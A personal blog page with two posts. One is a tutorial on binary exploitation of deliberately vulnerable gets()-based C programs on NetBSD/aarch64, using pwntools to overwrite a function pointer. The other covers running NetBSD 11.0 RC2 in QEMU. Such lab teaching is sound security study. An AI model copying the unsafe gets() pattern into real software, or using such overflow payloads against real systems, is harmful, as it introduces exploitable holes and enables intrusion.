hubertf's NetBSD Blog
Send interesting links to hubert at feyrer dot de!
 
[20260308] pwning NetBSD-aarch64 (ARM)

For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!

Here's an example of pwning on NetBSD/aarch64 (ARM).

Preparation

Step 0: Install NetBSD/aarch64, e.g. in qemu.

Setup the basics:

su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz
su root -c "pkgin install sudo"
sudo pkgin install bash

Install pwntools & friends:

sudo pkgin install python311 # not newer... pwntools...
sudo pkgin install rust
sudo pkgin install cmake pkg-config openssl
sudo pkgin install gmake
sudo pkgin install vim # for xxd, not the shoddy editor that comes with it

When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:

python3.11 -m venv venv-pwn
. ./venv-pwn/bin/activate
pip install "capstone<6" pwntools # same as on macos with angr

Install gef in its usual place, just in case:

sudo mkdir -p /opt/gef
sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py

gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):

(venv-pwn) qnetbsd$ cat ~/.gdbinit
#set disassembly-flavor intel # disable on ARM :-)
set follow-fork-mode child

set style address foreground cyan
set style function foreground cyan
set style disassembler immediate foreground cyan

pwn v1

First pwn attempt:

#include <stdio.h>
#include <stdlib.h>

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	return;
}

int main(void)
{
	vuln();
	return 0;
}

Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.

Let's build and see the security parameters:
(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec  win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
    Arch:       aarch64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x200100000)
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

Not that many security features on by default. What's going on, NetBSD?!
Ignoring this for now, let's look at the assembly code:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1
Reading symbols from win1...
Dump of assembler code for function vuln:
   0x00000002001009f4 <+0>:	stp	x29, x30, [sp, #-32]!
   0x00000002001009f8 <+4>:	mov	x29, sp
   0x00000002001009fc <+8>:	adrp	x0, 0x200100000
   0x0000000200100a00 <+12>:	add	x0, x0, #0xaf8
   0x0000000200100a04 <+16>:	bl	0x200100730 <printf@plt>
   0x0000000200100a08 <+20>:	add	x0, sp, #0x10
   0x0000000200100a0c <+24>:	bl	0x200100790 <gets@plt>
   0x0000000200100a10 <+28>:	add	x0, sp, #0x10
   0x0000000200100a14 <+32>:	mov	x1, x0
   0x0000000200100a18 <+36>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+40>:	add	x0, x0, #0xb10
   0x0000000200100a20 <+44>:	bl	0x200100730 <printf@plt>
   0x0000000200100a24 <+48>:	nop
   0x0000000200100a28 <+52>:	ldp	x29, x30, [sp], #32
   0x0000000200100a2c <+56>:	ret
End of assembler dump.
(gdb)

Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.

pwn v2

Here we add a function pointer "goodbye" that can be overwritten:

#include <stdio.h>
#include <stdlib.h>

void lose(void)
{
	printf("Goodbye, loser.\n");
	exit(0);
}

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	void (*goodbye)(void) = lose;
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	goodbye();

	return;
}

int main(void)
{
	vuln();
	return 0;
}

It's pretty obvious what's happening, but for the sake of completeness:

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.

Let's look at the assembly output again:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2
Reading symbols from win2...
Dump of assembler code for function vuln:
   0x0000000200100a10 <+0>:	stp	x29, x30, [sp, #-48]!
   0x0000000200100a14 <+4>:	mov	x29, sp
   0x0000000200100a18 <+8>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+12>:	add	x0, x0, #0x9d8
   0x0000000200100a20 <+16>:	str	x0, [sp, #40]
   0x0000000200100a24 <+20>:	adrp	x0, 0x200100000
   0x0000000200100a28 <+24>:	add	x0, x0, #0xb38
   0x0000000200100a2c <+28>:	bl	0x200100730 <printf@plt>
   0x0000000200100a30 <+32>:	add	x0, sp, #0x18
   0x0000000200100a34 <+36>:	bl	0x200100790 <gets@plt>
   0x0000000200100a38 <+40>:	add	x0, sp, #0x18
   0x0000000200100a3c <+44>:	mov	x1, x0
   0x0000000200100a40 <+48>:	adrp	x0, 0x200100000
   0x0000000200100a44 <+52>:	add	x0, x0, #0xb50
   0x0000000200100a48 <+56>:	bl	0x200100730 <printf@plt>
=> 0x0000000200100a4c <+60>:	ldr	x0, [sp, #40]               <===
=> 0x0000000200100a50 <+64>:	blr	x0                          <===
   0x0000000200100a54 <+68>:	nop
   0x0000000200100a58 <+72>:	ldp	x29, x30, [sp], #48
   0x0000000200100a5c <+76>:	ret
End of assembler dump.
(gdb)

Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.

By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:

(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb  -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25		goodbye();
x0             0x6161616661616165  7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>

The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: f409 1000 0200 0000                      ........

Looks good, so call it:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Success

Voila, ARM pwnage on NetBSD! :-)

Summary:
(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm 

I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!

On security & compiler flags

Of course you can enable all the security flags shown above, with the proper gcc flags:
(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
    Arch:       aarch64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX disabled
    PIE:        PIE enabled
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
Exploiting this binary is left as an exercise to the reader.

[Tags: , , , , , , , ]


[20260308] Testdriving NetBSD-11.0RC2 on ARM hardware (in VM!)
After some (mostly ongoing) absence from NetBSD, and with NetBSD 11.0RC2 recently announced, I wanted to give it a try. I have moved to a ARM-based Apple machine, and thus x86 / amd64 was not the way to go. Instead, I wanted to see how NetBSD works on ARM these days. Here's how I got it going!

1st try: VirtualBox

NetBSD does not come with a VirtualBox image in 2026, so my workaround was to convert the provided .img file and convert it to a disk image file in VDI format.

Download:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz

Convert img to VDI:

qemu-img convert -f raw -O vdi arm64.img arm64.vdi

Setup VirtualBox VM with .vdi file as existing harddisk.

Result: VirtualBox (not the VM!) crashed. Oh well.

2nd try: QEMU

After VirtualBox didn't work, I wanted to see if qemu (running on MacOS) works. Spoiler: it does, and here are the steps to get things going:

First, grab the kernel:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz
...and gunzip. Make sure kernel and userland versions match!

Run in QEMU:

qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 \
	-m 4g -drive if=none,format=raw,file=arm64.img,id=hd0 \
	-device virtio-blk-device,drive=hd0 -netdev user,id=net0 \
	-device virtio-net-device,netdev=net0 -kernel netbsd-GENERIC64.img \
	-append root=dk1 -nographic

How to leave QEMU: Ctrl-A X

Troubleshooting: Make sure kernel and userland match - else random segfaults will happen.

Userland setup

Quite a few settings are already OK (sshd, dhcpcd, ntp), which is not the default I remember from a few years ago, but that's nice and convenient. I still wanted to see what config settings are new, and here are my additions to /etc/rc.conf:

hostname="qnetbsd"
rndctl=yes
certctl_init=yes
ip6mode=autohost
ntpdate=NO

On first login you will see an unsafe keys warning:

-- UNSAFE KEYS WARNING:

        The ssh host keys on this machine have been generated with
        not enough entropy configured, so they may be predictable.

        To fix, follow the "Adding entropy" section in the entropy(7)
        man page.  After this machine has enough entropy, re-generate
        the ssh host keys by running:

                /etc/rc.d/sshd keyregen

Fix by feeding entropy, then reboot:

echo lkajsdflkjasdflkjasdlkfjoiasjdfiojasdkf >/dev/random
shutdown -r now

Note: Use shutdown(8), not reboot(8) or poweroff(8) - only shutdown runs the hooks that save entropy.

After reboot, regenerate SSH keys:

/etc/rc.d/sshd keyregen

Success

neuland% qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 -m 4g \
  -drive if=none,format=raw,file=arm64.img,id=hd0 \
  -device virtio-blk-device,drive=hd0 \
  -netdev user,id=net0 -device virtio-net-device,netdev=net0 \
  -kernel netbsd-GENERIC64.img -append root=dk1 -nographic
[   1.0000000] NetBSD/evbarm (fdt) booting ...
[   1.0000000] NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
...
NetBSD/evbarm (qnetbsd) (constty)

login: root
NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
Welcome to NetBSD!

qnetbsd# uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Summary

Not providing a working VirtualBox image in 2026 is painful for new users. As Kali Linux works fine in VirtualBox on the same hardware, I'd say there is some way to go, NetBSD!

The manual setup works, but needs some tweaks beyond the expected (/etc/rc.conf), exp. manual entropy setup was surprising as network and disk were working ok. I did expect those to be used as sources of randomness before the first SSH keys are generated.

We'll see where things go from there. For now I can (at least for QEMU on my Mac) say: Of course it runs NetBSD! :-)



[Tags: , , , ]


Disclaimer: All opinion expressed here is purely my own. No responsibility is taken for anything.

Access count: 38740432
Copyright (c) Hubert Feyrer